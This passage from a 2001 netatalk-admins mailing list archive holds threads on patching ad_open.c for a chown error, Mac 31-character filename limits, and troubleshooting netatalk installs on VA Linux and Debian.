	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 1 Apr 2001 11:10:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19332
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 1 Apr 2001 11:10:59 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19314
	for netatalk.administrators-members@umich.edu; Sun, 1 Apr 2001 11:10:59 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA19261
	for <netatalk-admins@umich.edu>; Sun, 1 Apr 2001 11:10:57 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA24785;
	Sun, 1 Apr 2001 17:06:43 +0200
Message-ID: <3AC74404.4FA45944@euc.de>
Date: Sun, 01 Apr 2001 17:06:39 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Alistair Riddell <ali@gwc.org.uk>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: setdirowner: chown 16777216/-1
References: <Pine.LNX.4.21.0103311838130.12136-100000@frank.gwc.org.uk>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA17431

ok, you mean:

+++ ./libatalk/adouble/ad_open.c        Tue Mar 13 08:13:38 2001
                          line 617 ff.
                               if (adflags & ADFLAGS_HF) {
                                   if (ad_hfileno(ad) == -1) {
                                    ad_p = ad_path( path, adflags );
                          -         admode = ad_mode( ad_p, O_RDWR );
                          +         admode = ad_mode( ad_p, 0666 );
                                                            ^^^^        
                         

is only needed to be changed?



Alistair Riddell wrote:
> 
> On Fri, 30 Mar 2001, Mac Conin wrote:
> 
> > by the way : is there a stable system running netatalk with a bundle
> > of mac-users hooked up not knowing what linux is? *bg*
> 
> Sure, I have hundreds of users running off two netatalk servers. I doubt
> if any of them know what Linux is...
> 
> running netatalk 1.5pre5 with libatalk/adouble/ad_open.c patched, on a
> Slackware linux box, with kernel 2.4.3. hardware is dual PIII 833, 1GB
> ram, 10kRPM scsi disks and Acenic gigabit ethernet card.
> 
> I also use netatalk to netboot Apple Macs. Whereas Apple recommend (I
> think) 20 machines per server using their hardware and MacOS X servre, I
> have about 150 machines on a single server with no problems at all. Let me
> know if you want to know how to do this...
> 
> --
> Alistair Riddell - BOFH
> IT Support Department, George Watson's College, Edinburgh
> Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
> Microsoft - because god hates us

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Sun Apr  1 11:45:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17998
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 1 Apr 2001 11:45:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25209
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 1 Apr 2001 11:45:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25186
	for netatalk.administrators-members@umich.edu; Sun, 1 Apr 2001 11:45:42 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25138
	for <netatalk-admins@umich.edu>; Sun, 1 Apr 2001 11:45:41 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id QAA06957;
	Sun, 1 Apr 2001 16:45:40 +0100
Date: Sun, 1 Apr 2001 16:45:39 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Mac Conin <mconin@euc.de>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: setdirowner: chown 16777216/-1
In-Reply-To: <3AC74404.4FA45944@euc.de>
Message-ID: <Pine.LNX.4.21.0104011645110.31252-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

that would probably do, but changing "O_RDWR" to "mode" would probably be
better.

On Sun, 1 Apr 2001, Mac Conin wrote:

> ok, you mean:
> 
> +++ ./libatalk/adouble/ad_open.c        Tue Mar 13 08:13:38 2001
>                           line 617 ff.
>                                if (adflags & ADFLAGS_HF) {
>                                    if (ad_hfileno(ad) == -1) {
>                                     ad_p = ad_path( path, adflags );
>                           -         admode = ad_mode( ad_p, O_RDWR );
>                           +         admode = ad_mode( ad_p, 0666 );
>                                                             ^^^^        
>                          
> 
> is only needed to be changed?
> 
> 
> 
> Alistair Riddell wrote:
> > 
> > On Fri, 30 Mar 2001, Mac Conin wrote:
> > 
> > > by the way : is there a stable system running netatalk with a bundle
> > > of mac-users hooked up not knowing what linux is? *bg*
> > 
> > Sure, I have hundreds of users running off two netatalk servers. I doubt
> > if any of them know what Linux is...
> > 
> > running netatalk 1.5pre5 with libatalk/adouble/ad_open.c patched, on a
> > Slackware linux box, with kernel 2.4.3. hardware is dual PIII 833, 1GB
> > ram, 10kRPM scsi disks and Acenic gigabit ethernet card.
> > 
> > I also use netatalk to netboot Apple Macs. Whereas Apple recommend (I
> > think) 20 machines per server using their hardware and MacOS X servre, I
> > have about 150 machines on a single server with no problems at all. Let me
> > know if you want to know how to do this...
> > 
> > --
> > Alistair Riddell - BOFH
> > IT Support Department, George Watson's College, Edinburgh
> > Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
> > Microsoft - because god hates us
> 
> 

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sun Apr  1 14:37:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 1 Apr 2001 14:37:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28486
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 1 Apr 2001 14:37:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28478
	for netatalk.administrators-members@umich.edu; Sun, 1 Apr 2001 14:37:12 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA28445
	for <netatalk-admins@umich.edu>; Sun, 1 Apr 2001 14:37:10 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA25714;
	Sun, 1 Apr 2001 20:32:58 +0200
Message-ID: <3AC7745B.24B79FE0@euc.de>
Date: Sun, 01 Apr 2001 20:32:59 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Alistair Riddell <ali@gwc.org.uk>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: setdirowner: chown 16777216/-1
References: <Pine.LNX.4.21.0104011645110.31252-100000@frank.gwc.org.uk>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA20921

hmm,

i did it and now unser nobody is capable copying files to the server,
but only new files.
Replacing files generates an error (file is already in use). No errors
are reported in the logs.

Any idea?


Alistair Riddell wrote:
> 
> that would probably do, but changing "O_RDWR" to "mode" would probably be
> better.
> 
> On Sun, 1 Apr 2001, Mac Conin wrote:
> 
> > ok, you mean:
> >
> > +++ ./libatalk/adouble/ad_open.c        Tue Mar 13 08:13:38 2001
> >                           line 617 ff.
> >                                if (adflags & ADFLAGS_HF) {
> >                                    if (ad_hfileno(ad) == -1) {
> >                                     ad_p = ad_path( path, adflags );
> >                           -         admode = ad_mode( ad_p, O_RDWR );
> >                           +         admode = ad_mode( ad_p, 0666 );
> >                                                             ^^^^
> >
> >
> > is only needed to be changed?
> >
> >
> >
> > Alistair Riddell wrote:
> > >
> > > On Fri, 30 Mar 2001, Mac Conin wrote:
> > >
> > > > by the way : is there a stable system running netatalk with a bundle
> > > > of mac-users hooked up not knowing what linux is? *bg*
> > >
> > > Sure, I have hundreds of users running off two netatalk servers. I doubt
> > > if any of them know what Linux is...
> > >
> > > running netatalk 1.5pre5 with libatalk/adouble/ad_open.c patched, on a
> > > Slackware linux box, with kernel 2.4.3. hardware is dual PIII 833, 1GB
> > > ram, 10kRPM scsi disks and Acenic gigabit ethernet card.
> > >
> > > I also use netatalk to netboot Apple Macs. Whereas Apple recommend (I
> > > think) 20 machines per server using their hardware and MacOS X servre, I
> > > have about 150 machines on a single server with no problems at all. Let me
> > > know if you want to know how to do this...
> > >
> > > --
> > > Alistair Riddell - BOFH
> > > IT Support Department, George Watson's College, Edinburgh
> > > Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
> > > Microsoft - because god hates us
> >
> >
> 
> --
> Alistair Riddell - BOFH
> IT Support Department, George Watson's College, Edinburgh
> Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
> Microsoft - because god hates us

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Sun Apr  1 21:26:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA27724
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 1 Apr 2001 21:26:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 1 Apr 2001 21:26:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA06497
	for netatalk.administrators-members@umich.edu; Sun, 1 Apr 2001 21:26:44 -0400 (EDT)
Received: from apollo.cc.macalester.edu (apollo.cc.macalester.edu [141.140.1.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA06447
	for <netatalk-admins@umich.edu>; Sun, 1 Apr 2001 21:26:42 -0400 (EDT)
Received: from [192.168.1.2] ([141.140.105.41])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01K1WAJ08K3O000OPQ@macalester.edu> for
 netatalk-admins@umich.edu; Sun, 1 Apr 2001 19:26:40 CDT
Date: Sun, 01 Apr 2001 20:26:53 -0500
From: Alon <arohter@macalester.edu>
Subject: Re: 31 Character File Name Length Limit
To: netatalk-admins@umich.edu
Message-id: <2609302403.986156813@[192.168.1.2]>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.8 (Win32)
Content-type: text/plain; charset=us-ascii; format=flowed
Content-disposition: inline
Content-transfer-encoding: 7bit

This is very true.  Which is why most OS's don't have length limits anymore 
(mostly). Unfortunately I still have to deal with an OS that does. I'm 
hoping the switch to OS X will eventually solve my problem, but for now I'd 
settle for a comprimise. A simple solution to the truncation problem is to 
do what Microsoft does:

Program Files   = progra~1
Programs I Use  = progra~2
Programs        = progra~3.......etc.

It isn't very pretty I know, but it does work.  The names might not be 
particularly obvious, but at least they'd be seen on the Mac side.

aLoN


>  What happens if the file is only unique after 31 chararcters? You end
>  up with 2 file names the same...
>
>  Name mangling is actually a difficult problem to solve...
>
>
>> I just started using NetaTalk on my linux box to serve files to Macintosh
>> clients.  Everything went well, until I noticed that all files with more
>> than 31 characters in their name length were not showing up at all on the
>> mac clients.  I know macs have a name length limit, but I'd like for the
>> clients to at least see the longer-named files, even if truncated.
> 

From netatalk.administrators-errors@umich.edu  Sun Apr  1 23:12:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA29613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 1 Apr 2001 23:12:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA11953
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 1 Apr 2001 23:12:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA11950
	for netatalk.administrators-members@umich.edu; Sun, 1 Apr 2001 23:12:10 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA11900
	for <netatalk-admins@umich.edu>; Sun, 1 Apr 2001 23:12:06 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id NAA22131;
	Mon, 2 Apr 2001 13:11:59 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3AC7FE60.FB1EBFAE@arts.usyd.edu.au>
Date: Mon, 02 Apr 2001 14:21:52 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Alon <arohter@macalester.edu>
CC: netatalk-admins@umich.edu
Subject: Re: 31 Character File Name Length Limit
References: <2609302403.986156813@[192.168.1.2]>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD42BA3A43DB7B3736FD56A21"

This is a cryptographically signed message in MIME format.

--------------msD42BA3A43DB7B3736FD56A21
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Alon wrote:
> 
> This is very true.  Which is why most OS's don't have length limits anymore
> (mostly). Unfortunately I still have to deal with an OS that does. I'm
> hoping the switch to OS X will eventually solve my problem, but for now I'd
> settle for a comprimise. A simple solution to the truncation problem is to
> do what Microsoft does:
> 
> Program Files   = progra~1
> Programs I Use  = progra~2
> Programs        = progra~3.......etc.
> 
> It isn't very pretty I know, but it does work.  The names might not be
> particularly obvious, but at least they'd be seen on the Mac side.

 The Microsoft one is simpler that it looks - it does that name mangle
at file creation time. Windows file systems store 2 names. The 8.3 and
the 'long' one. It doesn't do it on the fly like Samba does, and
NetAtalk needs to do. You have to attempt to get the same 'mangled' name
each time. M$ does it once and saves in in the Filesystem.


 I understood MacOS is suppose to handle it by it self - HFS+ supports
longer names, but Finder doesn't. I seem to recall some time back in the
dim dark past, NetAtalk sent longer names to Macs, but some Finder
versions crashed in response instead of truncating the name.

 I guess you could find the bit of code that hides the long names,
disable it and see how your mac works. Maybee OS9 fixed this problem.
Classic under OSX beta seems to handle it gracefully.


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msD42BA3A43DB7B3736FD56A21
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwNDAyMDQyMTUzWjAjBgkq
hkiG9w0BCQQxFgQUveQWoSMNeCvowtUGM3Y6YBbWfHkwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAUaI/xtQ17kcbUBYEyL/mnshQTyNsDmqiwbUeMrrMLur3qY3tUq/7WebdcYbfwfwRfFYsd
99ArB2z1cvOP+Sc7xd8I4sg6OYD+hXBlQw1/u82exBLsrrFXnSVduIDsqZpLX1ux4ENQ+/XL
DZaNASs7dHwkH6imuJQB83EF5SKj2g==
--------------msD42BA3A43DB7B3736FD56A21--


From netatalk.administrators-errors@umich.edu  Mon Apr  2 04:21:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA05404
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 04:21:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA19275
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 04:21:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA19259
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 04:21:18 -0400 (EDT)
Received: from client3.hv-ywh.com (unassigned.alabanza.com [209.239.35.134] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA19228
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 04:21:17 -0400 (EDT)
Received: from nat1 (208-59-113-219.c3-0.129-ubr2.lnh-129.md.cable.rcn.com [208.59.113.219])
	by client3.hv-ywh.com (8.10.2/8.10.2) with SMTP id f328LG428629
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 04:21:16 -0400
Message-ID: <010c01c0bb4d$dbe50870$0300a8c0@nat1.rcn.com>
From: "Nathaniel Pendleton" <netatalkbox@pendletonpress.com>
To: <netatalk-admins@umich.edu>
Subject: Newbie Install Help
Date: Mon, 2 Apr 2001 04:21:03 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4

I am trying to install netatalk on Linux on VA linux 6.2.3 distro
and the VA linux powertools rpm for netatalk.
http://www.valinux.com/software/vaload/archive/6.2.3/
http://ftp.valinux.com/pub/software/VALinux/released/6.2.3/extras/Powertools
/i386/netatalk-1.4b2+asun2.1.3-7.i386.rpm

I read this page and was stumped and as VA Linux who RTFM'd me back here.
http://www.anders.com/projects/netatalk/

0) Honestly is netatalk reliable for file serving Mac files for a business?
1.4b2+asun2.1.3-7.i386.rpm?
1.5pre5?
netatalk webmin module 0.9?

1) What file system do I use on the netatalk server?  ext2 or what?

2) How do I get netatalk started?
using VA linux 6.2.3 (redhat 6.2 derivative)
dmesg has no "AppleTalk" so I insmod appletalk.o
/etc/services has all the correct stuff

kpackage installed the valinux 1.4b2 package which has:
/usr/doc/netatalk-1.4b2+asun2.1.3/
/etc/atalk/

webmin>system>bootupshutdown lists "atalk" being started, and started at
boot

made macosdata folder in a folder that samba also uses.
chmod smbuser, chgrp smbusers, my default samba file controls.
I added to Apple Volumes.default
/home/data/macosdata "VACell400 MacOS"
restarted atalk in webmin.

no luck, now what?

-Nathaniel



From netatalk.administrators-errors@umich.edu  Mon Apr  2 10:59:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12556
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 10:59:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02185
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 10:59:19 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02180
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 10:59:19 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA02166
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 10:59:17 -0400 (EDT)
Received: (qmail 29473 invoked from network); 2 Apr 2001 14:59:16 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 2 Apr 2001 14:59:16 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id D4E7F1A004
	for <netatalk-admins@umich.edu>; Mon,  2 Apr 2001 15:54:58 +0100 (BST)
Date: Mon,  2 Apr 2001 15:57:56 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Can't start netatalk on Debian
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010402155807-r01010600-542d8867@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Hi

I'm trying to get netatalk running on a VALinux box running Debian.

When I run /etc/init.d/netatalk start I get the following errors:

socket: Invalid argument
atalkd: can't get interfaces, exiting
    atalkd afpd papd
    
I seem to remember using a gui tool to write the line in atalkd.conf that
provided the following on a LinuxPPC box I am using elsewhere:

eth0 -phase 2 -net 6 -addr 6.21 -zone "MHP Main Office"

However the netatalk docs suggest that this line will be created
automatically: "If there is no configuration file, atalkd will attempt to
configure all available interfaces and will create a configuration file".
However I DO have a config file - it just doesn't have any uncommented
lines in it. Is this wrong?

A simple "eth0" in atalkd.conf doesn't work.

I guess these problems may have something to do with my routing table. I
don't have a route for localhost, and I'm not sure if the first entry in
the table is sensible.

route:
Destination     GW              Mask
194.159.148.140 194.159.148.1   255.255.255.255
194.159.148.0   0.0.0.0         255.255.255.0
0.0.0.0         194.159.148.1   0.0.0.0

I'd be grateful for help.

Rory

From netatalk.administrators-errors@umich.edu  Mon Apr  2 11:11:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 11:11:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24850
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 11:11:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24825
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 11:11:38 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA24771
